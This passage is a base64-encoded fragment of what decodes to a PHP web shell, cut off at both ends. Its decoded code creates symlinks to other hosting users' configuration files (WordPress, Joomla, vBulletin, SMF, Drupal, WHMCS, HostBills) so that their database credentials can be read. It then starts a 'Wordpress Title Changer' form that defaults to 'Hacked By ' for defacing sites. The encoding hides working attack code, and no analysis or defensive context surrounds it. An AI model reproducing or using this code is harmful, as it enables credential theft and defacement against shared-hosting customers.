bmZpZy5waHAnLCAkdXNlciAuICctd3AtYmxvZy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtYmV0YS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2dzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvbWU0L3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtaG9tZTQudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtcHJvdGFsLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1zaXRlLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1tYWluLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC10ZXN0LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FyY2FkZS9mdW5jdGlvbnMvZGJjbGFzcy5waHAnLCAkdXNlciAuICctaWJwcm9hcmNhZGUudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsICR1c2VyIC4gJy1pYnByb2FyY2FkZS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhMi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLXByb3RhbC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtY21zLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLXNpdGUudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtbWFpbi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1uZXdzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtbmV3LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvbWU0L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1ob21lNC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZiLWNvbmZpZy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12YjMtY29uZmlnLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdmIxLWNvbmZpZy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLWluY2x1ZGVzLXZiLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywgJHVzZXIgLiAnLXZibHV0dGluLWNsYXNzX2NvcmUucGhwLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywgJHVzZXIgLiAnLXZibHV0dGluLWNsYXNzX2NvcmUucGhwMS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsICR1c2VyIC4gJy12Ymx1dHRpbi1jbGFzc19jb3JlLnBocDIudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy16ZW5jYXJ0LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywgJHVzZXIgLiAnLXNob3AtemVuY2FydC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1zaG9wLVpDc2hvcC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCAkdXNlciAuICctc21mLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NtZi9TZXR0aW5ncy5waHAnLCAkdXNlciAuICctc21mMi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCAkdXNlciAuICctc21mLWZvcnVtLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCAkdXNlciAuICctc21mLWZvcnVtcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC91cGxvYWQvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy11cC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hcnRpY2xlL2NvbmZpZy5waHAnLCAkdXNlciAuICctTndhaHkudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvdXAvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy11cDIudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywgJHVzZXIgLiAnLTYudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCAkdXNlciAuICctNy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsICR1c2VyIC4gJy1QSFAtRnVzaW9uLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywgJHVzZXIgLiAnLTkudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy10cmFpZG50MS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywgJHVzZXIgLiAnLTRpbWFnZXMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCAkdXNlciAuICctRHJ1cGFsLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21lbWJlci9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy0xbWVtYmVyLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1zdXBwb3J0cy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jbGllbnQvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWNsaWVudC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWJpbGxpbmcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWJpbGxpbmdzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3RpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RpbmcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9zdGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2lzbzQyMTcucGhwJywgJHVzZXIgLiAnLWhvc3RiaWxscy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0YmlsbHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCAkdXNlciAuICctaG9zdGJpbGxzLWhvc3RiaWxscy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0YmlsbC9pbmNsdWRlcy9pc280MjE3LnBocCcsICR1c2VyIC4gJy1ob3N0YmlsbHMtaG9zdGJpbGwudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2FydC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jYXJ0LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctaG9zdGluZy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9idXkvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctYnV5LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NoZWNrb3V0L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWNoZWNrb3V0LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctaG9zdC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXNob3AtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2hvcHBpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc2hvcHBpbmctV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2FsZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zYWxlLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jbGllbnQtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdXBwb3J0LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctY2xpZW50c3VwcG9ydC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLXdobWNzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htYy1XSE0udHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htYy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1cHAtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1Y3VyZS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1Y3VyZS13aG0tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXN1Y3VyZS13aG1jcy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1wYW5lbC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1ob3N0cy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgJHVzZXIgLiAnLXN1Ym1pdHRpY2tldC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWNsaWVudHMtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctY2xpZW50ZXMtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1jbGllbnQtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1iaWxsaW5nLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG0tbWFuYWdlLVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL215L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS1teS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLW15c2hvcC1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1iaWxsaW5ncy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1zdXBwb3J0cy1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hdXRvL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWF1dG8tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZ28vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctZ28tV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvJyAuICR1c2VyIC4gJy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1VU0VSTkFNRS1XSE1DUy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iaWxsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWJpbGwtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcGF5bWVudC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1wYXltZW50LVdITUNTLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3BheS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1wYXktV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcHVyY2hhc2UvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctcHVyY2hhc2UtV0hNQ1MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NvbmVjdF90b19teXNxbC5waHAnLCAkdXNlciAuICctYXV0b2J1eScpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FkbWluL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvY29ubmVjdC5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtYWRtaW4vY29ubmVjdC5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtYWRtaW4vY29uZmlnLnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93cC1hZG1pbi9kYmNvbm5lY3QucGhwJywgJHVzZXIgLiAnLW5vcm1hbCcpOw0KQHN5bWxpbmsoJy9ob21lNC8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FkbWluL2RiY29ubmVjdC5waHAnLCAkdXNlciAuICctbm9ybWFsJyk7DQpAc3ltbGluaygnL2hvbWU0LycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGJjb25uZWN0LnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCkBzeW1saW5rKCcvaG9tZTQvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25uZWN0aW9uLnBocCcsICR1c2VyIC4gJy1ub3JtYWwnKTsNCiAgICB9DQogICAgZWNobyAnPGIgY2xhc3M9ImNvbmUiPjxicj48YnI+PGNlbnRlcj48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSJMYXduR3JlZW4iIHNpemU9IjJwdCI+PGI+Q29uZ3JhdHVsYXRpb24gPT0+PiA8L2I+IDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJVZVhwbG9pVCI+PGZvbnQgY29sb3I9Ikxhd25HcmVlbiIgc2l6ZT0iMnB0Ij5Db25maWcgbGlzdDwvYT48L2ZvbnQ+PC9iPic7DQp9IH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KDQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnd3BfdGl0bGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpciA9IGdldGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFtYmlsS2F0YSgkcGFyYW0sICRrYXRhMSwgJGthdGEyKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGExKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gc3RycG9zKCRwYXJhbSwgJGthdGExKSArIHN0cmxlbigka2F0YTEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5kID0gc3RycG9zKCRwYXJhbSwgJGthdGEyLCAkc3RhcnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZXR1cm47DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ZGVmIHN0eWxlPSdmb250LXNpemU6MTgwJTsgY29sb3I6IGxhd25ncmVlbjsnPldvcmRwcmVzcyBUaXRsZSBDaGFuZ2VyPC9oMT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPWRlZj5Db25maWcgRGlyOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1MCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIG5hbWU9J2NvbmZpZ19kaXInIHZhbHVlPSckZGlyJz48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPWRlZj5UaXRsZToNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmV3X3RpdGxlJyBzdHlsZT0nd2lkdGg6IDMwMHB4OycgdmFsdWU9J0hhY2tlZCBCeSAnIHBsYWNlaG9sZGVyPSdOZXcgVGl0bGUnPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0naGFqYXInIHZhbHVlPSdTdGFydCcgc3R5bGU9J3dpZHR